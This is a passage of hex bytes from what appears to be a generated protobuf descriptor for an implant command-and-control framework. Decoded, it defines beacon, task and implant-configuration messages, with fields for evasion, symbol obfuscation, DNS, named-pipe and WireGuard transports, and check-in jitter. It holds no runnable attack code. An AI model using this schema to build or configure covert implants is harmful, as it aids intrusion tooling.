0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, - 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, - 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, - 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, - 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, - 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, - 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, - 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, - 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, - 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, - 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, - 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, - 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, - 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, - 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, - 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, 0x06, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, - 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, - 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, - 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, - 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, - 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, - 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, - 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, - 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, - 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, - 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, - 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, - 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, - 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, - 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, - 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1c, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, - 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x07, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, 0x20, - 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, - 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x12, 0x2a, 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, - 0x63, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, - 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, - 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x97, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x3c, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, - 0x69, 0x6c, 0x64, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44, - 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, - 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, - 0x74, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, - 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, - 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, - 0x41, 0x52, 0x43, 0x48, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, - 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, - 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, - 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, - 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, - 0x65, 0x64, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d, - 0x54, 0x4c, 0x53, 0x18, 0x35, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, - 0x64, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, - 0x65, 0x48, 0x54, 0x54, 0x50, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x48, 0x54, 0x54, 0x50, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x6c, - 0x75, 0x64, 0x65, 0x57, 0x47, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x57, 0x47, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, - 0x65, 0x44, 0x4e, 0x53, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c, - 0x75, 0x64, 0x65, 0x44, 0x4e, 0x53, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, - 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65, - 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x18, 0x14, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, - 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, - 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, - 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, - 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, - 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, - 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, - 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, - 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, - 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, - 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, - 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, - 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 